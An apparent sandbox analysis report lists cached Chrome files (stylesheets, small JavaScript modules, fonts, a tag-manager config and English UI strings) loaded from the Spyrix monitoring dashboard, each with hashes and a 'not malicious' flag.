Preview:	._5kL4TPdD{z-index:var(--z-modal-backdrop)}.eoPx-XfL{opacity:0}.-uFEEehb{position:fixed;width:100%;z-index:var(--z-modal-backdrop);height:100%;left:0;top:0;opacity:1;background-color:#00000080}.fMo3ZVEl{direction:rtl}._6sPwaxyC{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);min-width:250px;display:flex;max-width:85%;box-shadow:var(--shadow);z-index:var(--z-modal);transform-origin:center center;border-radius:10px;background-color:#fff;cursor:auto;max-height:85%}@media screen and (max-width: 768px){._6sPwaxyC{width:max-content}}@media screen and (max-width: 480px){._6sPwaxyC{overflow-x:hidden;overflow-y:scroll;max-width:100%;max-height:98%;width:100%;bottom:0;left:0;top:initial;transform:translate(0);border-radius:10px 10px 0 0;padding:50px 0 10px;height:-webkit-fill-available}}.LL0-2zyj{position:absolute;right:-40px;top:-35px;width:50px;height:50px;transition:.3s;display:flex;justify-content:center;align-items:center;cursor:pointer}@media screen and (max-width: 480px){.L

Chrome Cache Entry: 647

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	120
Entropy (8bit):	4.87560060165103
Encrypted:	false
SSDEEP:	3:lHkiDkYHsh9J55ZrKAAdGaOiDpEqxALR4QHEXxB+N:lEi4YHGrMdGaOiaqxWqgoB0
MD5:	62BC1BD7189B2B28A9985E0C3661BC91
SHA1:	33AC2D40B9C973C0D040E08AFF37F072D2C5E136
SHA-256:	98A603E044A3472D373EF9C4F3A563E7596FF8F9C43620409EE5E74FBF45CC28
SHA-512:	47B95930336340314410E9A9D30C71E74E6191E3C64FD39DA973B561BABCD987647B40B7B2587B047A763F5D765D6CD4D83EE037CC63F02EA3525D692AAA281D
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ButtonText.module-c769b9ae.js
Preview:	const t="vaJg7XGf",o="mtxFuuqo",n="MtAUm4rd",x={"button-text":"vaJg7XGf",buttonText:t,text:o,primary:n};export{x as c};.

Chrome Cache Entry: 648

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3064)
Category:	downloaded
Size (bytes):	3065
Entropy (8bit):	5.324905264285846
Encrypted:	false
SSDEEP:	48:uhzv2QuOpwb+/+F16axib+bjFf8Wn5R8sxqNX9Q:u12V+wi+6axiibjz5R8sCX9Q
MD5:	18A06D9DBE56451E74AF84EFCBBD5184
SHA1:	839EE80D333FA137025CBFA0500D2ACAF83C00E8
SHA-256:	342125717F6112F7A8D8246360CB83525C086CDE797A1A9305021AD8D6A4AA25
SHA-512:	6941A1F58FBB689E96C9B9B54C1280646AD0357336E95A39FED02DBBD5FAC911E5552C4E7674A1F6BF0E180CA3960CC1AE25006A48CC241CABD8859345527A97
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Input-34212571.css
Preview:	.-ztRySNh{display:flex;position:relative;flex-direction:column;height:fit-content}.Ftt0CpWQ{width:200px}._4aI8AqCH{opacity:.5;pointer-events:none}.WnNoxKKH{width:100%;font-size:15px;padding:10px 13px;border-radius:10px;border:1px solid var(--input-border);background-color:var(--input-bg);color:var(--app-text);outline:none;transition:.3s;overflow:hidden}@media screen and (max-width: 480px){.WnNoxKKH{font-size:16px}}.a6kY8aNX{border:1px solid var(--card-border);color:var(--app-text);background-color:#fff;transition:.3s;box-shadow:var(--filter-button-shadow)}._-9LXnRIR{box-shadow:var(--filter-button-shadow-active);transform:translateY(-1px)}.F8HcYjNr{padding:10px 50px 10px 10px}.WnNoxKKH:focus{border-color:var(--primary)}.StnNIJM1{border-radius:10px 10px 0 0}.EKAf0gVE{border-color:var(--danger);animation:vzGZS5BU;animation-duration:.8s}.EKAf0gVE:focus{border-color:var(--danger)}.YJawxt4q{border-color:var(--success);animation:J-FFIdf3;animation-duration:.8s}.YJawxt4q:focus{border-color:var

Chrome Cache Entry: 649

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (522)
Category:	dropped
Size (bytes):	523
Entropy (8bit):	5.04570304661497
Encrypted:	false
SSDEEP:	12:fjj6Xna2GHXmtooSfih/Se2FheecfhDlrWHy+:ff6Xa2GHUSf8/n2FheecfhxrWHy+
MD5:	4961C7FAF74F272F4B3832CB9B803374
SHA1:	D9E302928FC7CBB2A32B499A2928623478CC2F0B
SHA-256:	F807B11AFDDA15D257A20773E7D480CF9F8269C2ABBA6754356F3D6DC65D592B
SHA-512:	35584A4E7E3E3CEB248AD323CC7BD39ECE6CF9856F9F4210906BAA9FBB601C9DFBACC7C2621044BB225320F1D56653DFAAB48DE7CEACB33FD3FB0CADBECE8F50
Malicious:	false
Reputation:	unknown
Preview:	import{o as e,b as o,i as t}from"./index-004f4025.js";const s={xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},n=t("path",{d:"M14.72 13.434h-.677l-.24-.232a5.55 5.55 0 0 0 1.346-3.627 5.574 5.574 0 1 0-5.574 5.574 5.55 5.55 0 0 0 3.627-1.346l.232.24v.677L17.722 19 19 17.722zm-5.145 0a3.854 3.854 0 0 1-3.86-3.86 3.854 3.854 0 0 1 3.86-3.859 3.854 3.854 0 0 1 3.859 3.86 3.854 3.854 0 0 1-3.86 3.859"},null,-1),a=[n];function c(r,l){return e(),o("svg",s,[...a])}const _={render:c};export{_ as default,c as render};.

Chrome Cache Entry: 650

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	193
Entropy (8bit):	4.890925322111789
Encrypted:	false
SSDEEP:	3:GCS9iDe6W4Z2S0N4mSR5C0AOoWRIJ6Ge/nHFHC0AOoWRIJ6Ge/lwIQMefnv:GCS9iPh2fq9S2Ge/H1S2Ge9hwv
MD5:	C0140EE8C87F9E754F26661D59A188EB
SHA1:	86540FD8F4BCEC9CD775079D1F9E552339DBBB1F
SHA-256:	EAD06CA10694C82218CC5B89E938B31B6CD7C8F2C459DFA53DED7CD994DD8295
SHA-512:	30C29229706C5A1F62C29EA64250C763E62946D81F56E510503B4E8D2E51FE4AA0833297D6AE38F718DD0929EAE9CC26320FD0A8B5F0E2AEB92498F6CB581F51
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ButtonText-ead06ca1.css
Preview:	.vaJg7XGf{display:inline;min-width:0;width:100%;flex:1;text-align:center;justify-content:center}.mtxFuuqo{color:inherit;text-align:center;justify-content:center}.MtAUm4rd{color:var(--primary)}.

Chrome Cache Entry: 651

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C++ source, Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	987
Entropy (8bit):	5.179649768973068
Encrypted:	false
SSDEEP:	24:m2kqUquqB3Wbp0V+uzU+xWkjPE/mB/sXZsB:m8UqiDMWh2sXZc
MD5:	27EC29286E721D5B6E14B6D719F1E743
SHA1:	5B1952EB5702AE263C64ECAD8816CE0E723B2D50
SHA-256:	DFD3C3DFEFCEA9215799DAD6F6E71074FA7E4660EAD660B85F4E6EE243EA55DD
SHA-512:	82F80ADA35372D6F0174F177E0A87843D6E7A2B1442AF44F908E75CA91A52C4E1B2D55EAFB08494C025996076148247A7A1DFC8BE2D249D0B1566209F68B050B
Malicious:	false
Reputation:	unknown
URL:	https://dashboard.spyrix.com/cdn.js
Preview:	.class Cdn {. _maxCounter = 30;. _interval = null;. _counter = 0;.. init() {. // document.cookie = 'cdn-off=0'; //...... ... .... ............ . .. .......... .. ....... this._interval = setInterval(this._checkDom.bind(this), 1000);. }.. _checkDom() {. this._counter += 1;.. const element = document.querySelector('.progress-loader');.. if (!!element && !!this._interval) {. clearInterval(this._interval);. }.. if (this._counter >= this._maxCounter && !!this._interval) {. clearInterval(this._interval);.. if (!element) {. this._disableCDN();. }. }. }.. _disableCDN() {. document.cookie = 'cdn-off=30';. location.reload();. }.. _enableCDN() {. document.cookie = 'cdn-off=0';. }.}..const cdn = new Cdn();.cdn.init();..// ..... ......... .... ...... .... ........// window.addEventListener('unload', () => {.// cdn._enableCDN();.// });

Chrome Cache Entry: 652

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5945)
Category:	dropped
Size (bytes):	271548
Entropy (8bit):	5.571871081577809
Encrypted:	false
SSDEEP:	6144:2k3n+yZmvryzjrgBB9Tch2+4jm8eTVcwOuw4z:tuumvrtkOI
MD5:	F94CE2220CC1D3D67E7A204D6CF8CC7A
SHA1:	DE378721C7223C0F2DB466B930D58FBD27590DF3
SHA-256:	CCF7B74002E851765A632F4ECD7A9EA015C7F1789CD06FB1965650A388DBDB05
SHA-512:	C6F27ADCD9FB16ED170FECF2440A8094FFB6988FA60F6078872ABBFEA0A6E6749A1FE485952EF63889CECE0F0F2C377BD55FBA05DCB7E135DE97B27F7D9587F4
Malicious:	false
Reputation:	unknown
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":false},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_ga_send","priority":6,"vtp_value":true,"tag_id":11},{"function":"__ogt_ip_mark","priority":6,"vtp_instanceOrder":0,"vtp_paramValue":"internal","vtp_ruleResult":["macro",1],"tag_id":13},{"function":"__ogt_referral_exclusion","priority":6,"vtp_includeConditions":["list","spyrix\\.com"],"tag_id":14},{"function":"__ogt_session_timeout","priority":6,"vtp_sessionMinutes":30,"vtp_sessionHours":0,"tag_id":15},{"function":"__ogt_1p_data_v2","priority":6,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"",

Chrome Cache Entry: 653

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (837)
Category:	dropped
Size (bytes):	838
Entropy (8bit):	5.138342360432239
Encrypted:	false
SSDEEP:	24:HIA6XKsUFFQtk4BQs1uub9T5zvEw+8iYshFQa:qXdcmVlhxz+5YsTQa
MD5:	2DE77C15D2E4B26D02874D1C6A5D78D1
SHA1:	B80B2BB3553C9C417B569CCF7E7C8CED660AE735
SHA-256:	9D95D9183E874ACA32283807A0464CA9C4BC267FAEA799E27A3C23D2CD7ACA61
SHA-512:	F4007CF227253D9548EDE6D646C3757BD8F8AAF316030E271E8A7B3AD730F8CED4991A3C96E850944313E2BFA94BF13400715AC9EB93ACFAD37353FE4217C7A0
Malicious:	false
Reputation:	unknown
Preview:	import{ac as n,m as i}from"./index-004f4025.js";const d=e=>{const{t}=n;return e.includes("@")&&e.includes(".")?"":t("Please enter a valid e-mail address")};function m(e){const{t}=n;return e.length<=180?"":t("The field must contain less than 180 characters")}const f=e=>{const{t}=n;return e.length<6?t("The field must contain at least 6 characters"):""},h=e=>{const{t}=n;return/^([+]\|\d)([0-9])+$/.test(e)?"":t("There should only be numbers")},p=e=>{const{t}=n;return e?"":t("Field cannot by empty")};function F(){const e=i({}),t={required:p,maxLen:m,email:d,minLen6:f,phone:h},u=(s,o,l)=>{let r=!1;l.forEach(a=>{if(r)return;const c=t[a](o);if(c){e.value[s]=c,r=!0;return}else e.value[s]=""})};return{errors:e,validate:u,validateField:(s,o,l)=>{const r="mockedFieldName";u(r,s,o);const a=e.value[r];return a?(l(a),!1):!0}}}export{F as u};.

Chrome Cache Entry: 654

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 61324
Category:	downloaded
Size (bytes):	14777
Entropy (8bit):	7.985311124175744
Encrypted:	false
SSDEEP:	384:wRjB6v/xeGOgP84779+VKmX1nGMJpjHyC:wRlexAOxmX1nGMDHyC
MD5:	12D71E76550BE9BFDFDAB148795FFFD0
SHA1:	0E49EEE8873E6CD22A04557B47A272E424379186
SHA-256:	35DC7260DC2119B3DE608859D5DC0179652C72FB426DE265FF178A19DBD65297
SHA-512:	E8D46F38B669136DC1E233379500CF079DFCA8EA6D09F46F6B3C841E7539AB5F55080507A27C05FA182E1332CC2F3A98F4A1BAB4DF8417FE129B535013DB736A
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.css
Preview:	...........}{s#.....).....b..R...Y.o..{o.S..."-..TK=:.g._&2.(.H...w.q..T.J$.D..E..w........6.\|q...vs..yQ..O.....o.7...z.+f.....px.../.M.....f.....:./..r..we..>......:.Cu...w._.y>...E...E....w...f....g.............<..ju.<...Nk..g...u5.P.yR......l..?..#)..v]f..p.X,.. ..8F..h3=.6...U.....a.{y..W..v3.U....P]o?T..z.4[...\....v.}.Y.]ow.w....x.@.....I....j.....Y.8T^..\|.]?.....a.^W....iU...n....;.\|..=......EFo.}.V..m5[.6.$.v...js..v...jw;./z....\...}y.._.z.....u..`&....m....f...U.......".H...pU.I.....E.u.....'m..]Y.2...~6.....a.^......K....=<.?.D.L)}.H.6..qK.d.YV.....rX.&d.zu...C`..Y..........%.{9l_R.dN...../5......vw.7.+.Y.)....vS]g..L?....a.X,..`....2zJ].....:{.,a...X.>B$.a.$u]h.{....+..{t.=U..!.t......\|{8l..YU!o...o..(5.b..a..3.C.=...+.l.\|....A.s...\|..$..$)..g..=.h:\l..}.q...K.}..!..)....}.....k..A...~L>}.1JQ...g..b..j....KD.wU.. j...;,.....u...Y....3U..=.R..l.....T..QBGt........... ..O._...6..Q.#.3.....'...EO.....1..,.pD...p.p.

Chrome Cache Entry: 655

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, Unicode text, UTF-8 text, with very long lines (731)
Category:	dropped
Size (bytes):	733
Entropy (8bit):	5.333043890106064
Encrypted:	false
SSDEEP:	12:rVEeOb9zMiNkI9dEkAS4c/EoanGYWZ1ryZ1dqdlZdzSLWPIoBsUNdbHBG9:ruj9zhNkyEW3MoaGh+nodZzSLWPbN18
MD5:	C20426806474BC5F7DF377451D78F70C
SHA1:	30B675794EC6F2576F7C27EBE24D8F5AC647E417
SHA-256:	188D59F20F833D8FB65E71959214B05CD41E5B1312AEA55196948ED28AAFA2BD
SHA-512:	E7648E2F98E81D4839540A222071CF7954C117004A4F502758556546B2C03AC62200616EF02B40C49D647445FC6B00902B2B4F0275BF4368DE8BEB7B529F7CA7
Malicious:	false
Reputation:	unknown
Preview:	import{E as u,s as l,at as i,p as m,d as o,o as r,b as _,r as p,n as f,u as c,g,e as d}from"./index-004f4025.js";import{c as h}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as E}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";function k(a,e){const{pushQueries:s,queryEmail:n}=u();l(()=>{const t=localStorage.getItem(i.EMAIL);t&&(s({email:t}),e\|\|a(t))}),m(n,t=>{typeof t=="string"&&!e&&a(t)})}const B=o({__name:"AuthTemplate",setup(a){return(e,s)=>(r(),_("div",{class:f([c(h).authTemplate])},[p(e.$slots,"default")],2))}}),C=o({__name:"Copyright",setup(a){const{t:e}=g();return(s,n)=>(r(),d(E,{text:`${c(e)(". Online Monitoring")} ${new Date().getFullYear()}`},null,8,["text"]))}});export{C as _,B as a,k as u};.

Chrome Cache Entry: 656

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	64
Entropy (8bit):	4.787752985539471
Encrypted:	false
SSDEEP:	3:InjZjBJx0rgBBMrDwR:8ZVJWcB6rDc
MD5:	56AFDCA4F7D312FFEFEA0C038677BD58
SHA1:	7D08C415DB9B84C286B1CBD1D89AE7362B037D01
SHA-256:	4C4E4A287646CC906E15C8946CFF23C53883081211D2761753BA3280F6738833
SHA-512:	6758DDBB0C9C5CEECB22E1FB13918CBAB7A39531D609FF7E1FAC052BCC5234855B6815D08F2D01577F5D057EF8B991A616CF350B232F92457AC4BF5767FE5B15
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwnvDa0HuqPA0hIFDZFhlU4SBQ01hlQc?alt=proto
Preview:	Ci0KBw2RYZVOGgAKIg01hlQcGgQITBgCKhUIClIRCgdAIS4kKiNfEAEY/////w8=

Chrome Cache Entry: 657

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 44112, version 1.0
Category:	downloaded
Size (bytes):	44112
Entropy (8bit):	7.9948954741957445
Encrypted:	true
SSDEEP:	768:qGOGI3UCq6sLa8v1/S4xmK/+/PyZV36e2TQxLWV0Bu+ApsjGflc/PMMY:qGO3q6ga8v15xmK/SP+3lJWqB+psKNKK
MD5:	1C42A31D86C3E555177BCEBFDF350242
SHA1:	036274A3A1786AE81BFAFECE5F49927103244AC2
SHA-256:	73DCAA510E814FF8CF4672A984FA934A4385253A50507E2390A5150A40A5971C
SHA-512:	7091CEB7B24B4F84D54958BB7C3E10AA0E34E73465977C4CE09D08F75DCDA3BE2989CDB95EF38282E4A62863B3DA1B4B8CEC0E316508A68551C80952DBABE171
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Nunito-Regular-73dcaa51.woff2
Preview:	wOF2.......P......................................2...r....`?STATH.......4..A.....6.$..8. ..^..5..[.....C5....t..d_.:.......n...u=iX.7Fn..(..........$....3.....)..2..0.....#e2`4....L.....d8.y....\....D.....0X..~f.-...\|.`...2.i.~L.N..".....Gwc%`&Oa.:..>.@z.........^...s..y..f^N6.......+NN.....N#.c....;"j..A]....."}.?h.b...R=r...p..X.{."A...8.9....T.....`I..P..%...,k...L..MO.wf.%....{....S....F....wbh...U9SeE...QY.&!....v=#s.~.......v$.N...1..+\|k.......D.....R.k._dU......#..lO.S...`...x~.w....o.i..v.....nC.."+...c?.3w...i...84:.RI...B#t......Z..b.....E.7.....G.....AT..X`......9c.9.g....:@s....cT..F..........c.01.h...Gb..?...&Z.'y.{.4....J.BV.....~o...". ...?..![...d....^+.......o.B.#J0.<.h.g..4...M6R.......Tb......%..x4J4...6...9.H...'b:b.....~..._.{..)]J:....t.l.m......n..,..z....W..... U.....R.W..y8...A..T...TT.>....\|.ql.u2.../1.=".D.....u.Z].p)..%.0..`..X...........".............n..T .>..'s\.c,..\...W..yx.......QR..M..lB...o....%.m.

Chrome Cache Entry: 658

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 43608, version 1.0
Category:	downloaded
Size (bytes):	43608
Entropy (8bit):	7.995039270032619
Encrypted:	true
SSDEEP:	768:Tv2XSI0CZoHJfWaxMlNF3l9dC1zvscnlQZdBrREpeKuj44fWBJS:TuXS3SoHJ+plNF345vfnGddO+TW6
MD5:	636F1727E619C4EFEAFE604116A79EC9
SHA1:	B99AE578006A654526DE3F672515C22FDE9992D9
SHA-256:	765BFFF42FA8FA2622D8E561F0DB976E1411681041B7327102D96DA6711F0C0E
SHA-512:	0B57204C24675562B30C104EE961ACF920A0B7B207008B7522F97D9B077405E350E4AD8F715230D548350686A9243692896F3EECB38C4EECC9D01B5471FFBDF0
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Nunito-Bold-765bfff4.woff2
Preview:	wOF2.......X.......H..............................2........`?STATD.......@..r.....6.$..8. ..F..5..[.....v..-. -.t...mji...\`.!..{v..qb...X.Y-0v0...'........Q..1....$I@.PQPV...t..D..3.b..$,...V5.;.^...b..{Ku.;.)k.Y.r.....TJ.{d.......{d...7.2..G.[..:...-4P./a......S.....f...x.Z.#n...l..S....f....D.).-.+ ..;.H......1..q....bS.....[...8......3>5..U3..n.~...KL.\o.`..UgSY......j..q..l..J.......^w.F~<........V\e.a.9...o..b%%.K..-y..!..a I.w.A...J.4....[7.3.E....}.Q=....;:...z_...>.dr{.#b.-...G.[.{Ih!...$! .......@.....,.....6.}l`C.A...A......zhj..?...0...2UD7.......{...4c6...D1...[O..Z......b.c.`Q.H..1..EE..jDO......;..<.3.t......G...D.1..o9.Ke..kl.q..........@..??....v..2..rfAJ...2HWs....F..(...g..]..].`r.R..9$H....!.C\|........g'......x.........x....$B!..M...E.D"..M.....o.i.........=.........&........U-...{IN........ ..Q..w..E...H..U....j!..u....s....K.C..K........j..".!.,....`...&p.3(..b..L].-...`U.OzQ.J..!...].-a..8.I.8..../..).....

Chrome Cache Entry: 659

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	129
Entropy (8bit):	4.715705921334956
Encrypted:	false
SSDEEP:	3:lH4Vg0CwERKAAIx/fQxAUEm5JZHJPpRKrUrKzAdgbDn:l30Cw4MYoxJfHhpAArKzAaX
MD5:	738B618755592A2FB11C090833DAA6FF
SHA1:	985ED99CF7A1BED24569735A33B757531D027AE3
SHA-256:	BA59C56764D29D3B0C21BFB12D2F7AE92E745420F214B3B3DC52D31712301E39
SHA-512:	5CADFC6D7594CFD29CCF8539F35FDFC6B5B39525235DD38F1CBE0A49D0FB67D417AFBA1C2B0ACCEBE7C6F06C5FC9951CC167BB37F25F05D9F8E3313E5C27D42C
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ButtonTemplate.module-c837805f.js
Preview:	const t="_6ptc-v1o",o="eTUt1vSM",c={"button-template":"_6ptc-v1o",buttonTemplate:t,"with-icon":"eTUt1vSM",withIcon:o};export{c};.

Chrome Cache Entry: 660

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 27077
Category:	dropped
Size (bytes):	7285
Entropy (8bit):	7.964038684015041
Encrypted:	false
SSDEEP:	192:TvxMGwo9hFNrNNXizl2Bcj94aps9y5aW2CHkz92mDXnjrVo75OKc:7aboh57AL94ly592CmFXidJc
MD5:	F687E94F4D455BA119D2187B14A884AE
SHA1:	5206BDA3E1959F6A7369D33171F9AF76F92C21E2
SHA-256:	5D18275C9AC22E917CEA324C250F54D9F6A1899BAB0EFBDF3739A6AB181BE5A3
SHA-512:	1EA801D2E9BD5C4A3FAD19776270D971A159B28B52AF0369D208D6FFC0A5F81BF0CD8B8CA2379B1C75E366694DBE4B1ED1C7CBB78137F61829A8AC38B54D93CA
Malicious:	false
Reputation:	unknown
Preview:	............n.V...Sp..v.ka....!..$.;..%.......6...,.J....'....{I.".K.v:."......fM..Iq..\....S...O..k......../....}...\|......O]}.>.O.6u.a...GK..UE.3..usF..az.m...0.]...&o.[../..Y.L...i...0..U...0....M[.RwBy...8...Orq.>+..H..o:....o.f}t.>lRw...).O....J.3?o.f..jrfu.0mX.K:m....U_..zN.M.([f.#{PWeM.w.\,...V..^...m.q..6u..../O..w..Y...{x.~QVV..w}.}x5\|..q........v..a...J...H...I...~..o..5....._.......G.'.{.=k.F......>...\|..}..T....6....e..TX..K......,g[.S.r..l..\|."..O...-...G...i....`.XhN.....sIb..u...2k..K.i.WW....T.u.7,`.w..R.g.H.\Y.i.G....f.Z...mE...\.}...C>..ZgW.,..E....:gSR...N....,.8.).YV...nU..l;.M."18(...y...d..n.lV..[n.:............p.E[$..:..u.(.y..6.K.ErvR... Yy.....v..f.%..m%I.,....~..]z..W.l.$.E.Y3.L..@.J.:O.4....'S5..Kj....@W..,...N^..}.n....DLz..l....v...J3JJ..o.Q...^R8mY....&..[..<s..7a.Y.<c.r7.xV.N/.WE2...Vo$ci..Z..!../.b_.&.-N.en..7.\|s...#.<.3.\....?.nY..;OVy.gxa....6....zy.t.j..;..V.K.?....m..o...X6.CI

Chrome Cache Entry: 661

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	120
Entropy (8bit):	4.87560060165103
Encrypted:	false
SSDEEP:	3:lHkiDkYHsh9J55ZrKAAdGaOiDpEqxALR4QHEXxB+N:lEi4YHGrMdGaOiaqxWqgoB0
MD5:	62BC1BD7189B2B28A9985E0C3661BC91
SHA1:	33AC2D40B9C973C0D040E08AFF37F072D2C5E136
SHA-256:	98A603E044A3472D373EF9C4F3A563E7596FF8F9C43620409EE5E74FBF45CC28
SHA-512:	47B95930336340314410E9A9D30C71E74E6191E3C64FD39DA973B561BABCD987647B40B7B2587B047A763F5D765D6CD4D83EE037CC63F02EA3525D692AAA281D
Malicious:	false
Reputation:	unknown
Preview:	const t="vaJg7XGf",o="mtxFuuqo",n="MtAUm4rd",x={"button-text":"vaJg7XGf",buttonText:t,text:o,primary:n};export{x as c};.

Chrome Cache Entry: 662

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (628)
Category:	downloaded
Size (bytes):	629
Entropy (8bit):	5.408519312247252
Encrypted:	false
SSDEEP:	12:M5WsR75UQOHXu8jeAYJMngYRde4HL1DBVTUojE0uymy:M5/p99JMngYZHZDBbfuymy
MD5:	7CB321EE79F0127E78FAD017F97285AA
SHA1:	5921A3AFA7B59C1A69F214A592F5290A9AA5A080
SHA-256:	2BF0E6089F8E9819E3CAA315D3C024148EE6D53411450118363668A0B9F2F6D5
SHA-512:	E1994D07BDF15F40ACB2E1F35A3738BF24A909C6FEF2D0513D2FBBD0A0DC9A434C96AE9699C8497E0EECBD1229CC066B11A5B6413F8DF608B222FE07A61D6BC9
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Button.module-6d4e91b8.js
Preview:	const e="g1jDENuQ",o="kn3-jpa8",d="pi1aSgqN",r="Yx2mIjN5",n="GQTXnPVh",s="Spt6Oo9A",c="RmDlDtP1",t="nLIGWB2k",l="IePxoOqS",i="AUmvNTz6",a="_6vXQpmQD",m="q3V02Fh6",b="SJ0GPc8e",y="_5VeaxEd9",p="cKfyhJq-",h="Gw-l67yM",u="XjJMOjKF",x="WZhZ-ZKL",P="eIH6eshW",D={button:e,loading:o,disabled:d,"bordered-primary":"Yx2mIjN5",borderedPrimary:r,"bordered-filled":"GQTXnPVh",borderedFilled:n,"primary-filled":"Spt6Oo9A",primaryFilled:s,"bordered-secondary":"RmDlDtP1",borderedSecondary:c,default:"JCiXG-DG",success:t,clear:l,xs:i,sm:a,tn:m,md:b,lg:y,xl:p,inline:h,circle:u,shadow:x,"more-rounded":"eIH6eshW",moreRounded:P};export{D as c};.

Chrome Cache Entry: 663

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1097)
Category:	downloaded
Size (bytes):	1098
Entropy (8bit):	4.801883004252557
Encrypted:	false
SSDEEP:	24:pIDlt6Rqz5Rqz9cujSPhQsF+a2cG2DB/pzOpzDErt7:d0EY/BOBDG
MD5:	01CEB283B00E59B25F2283787D5FBCFC
SHA1:	12503D8DC4A1904F39A2BE105CD2BEF151464B80
SHA-256:	EFAC77214359588EE656CE42F52A545423480B5C194894B4B3237DFA27C0BF4B
SHA-512:	533636F230CE0236E8E248CB0A26593DEBBD6B88DB6E054822E831203EE15EDE59A00D01FCE8FE422535E826F6F4B865599FCB9E7FF6EF0593B0B2E736B0B273
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/en-5393c481.js
Preview:	const o="convenient",e="Main",n={"The license period has expired":"The license period has expired","The trial period is expired":"The trial period is expired","Your data is safe":"Your data is safe","Please purchase a license to access your data":"Please purchase a license to access your data","Buy 1 PC for 12 months for $":"Buy 1 PC for 12 months for $","DISCOUNT {0}":"DISCOUNT {0}","Computers count":"Computers count","101 and more - ":"101 and more - ","21-100 PC - ":"21-100 PC - ","1PC per month":"1PC per month",convenient:o,"3 Months":"3 Months","6 Months":"6 Months","12 Months":"12 Months","24 Months":"24 Months","1PC for 12 Months":"1PC for 12 Months","1PC for 12 Months +":"1PC for 12 Months +","Do you have a discount coupon?":"Do you have a discount coupon?","Discount coupon":"Discount coupon","Coupon is applied":"Coupon is applied","Apply coupon":"Apply coupon","Includes Screen recording, Webcam recording, Face recognition, Call recording":"Includes Screen recording, Webcam rec

Chrome Cache Entry: 664

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	638
Entropy (8bit):	4.939194107933857
Encrypted:	false
SSDEEP:	12:hYKC/JI56MIY5Jo4PFcJt1lFqGBfqsz6/mvVg6D6TYBYAlbBmdDuzRw/vGb:hY//J46Yo8stEoz+sVg6DSYnlp92vM
MD5:	1B3C31F1365D50685671B178B782862B
SHA1:	7C735B95DB567AFD726F37B4EBD3420A903A7B90
SHA-256:	81873B843E34209B269790E83D4AD3A229369F69B419AB61D25759763BEAABA6
SHA-512:	42D2654F6E834D0E8D54036A5B3595167685908CC63B34FBE95435FE0547664C6C4AD44D82F62EBBEE95C9171EA7756E96AC2A09B3734B0BE6764F45642D53F6
Malicious:	false
Reputation:	unknown
URL:	https://dashboard.spyrix.com/
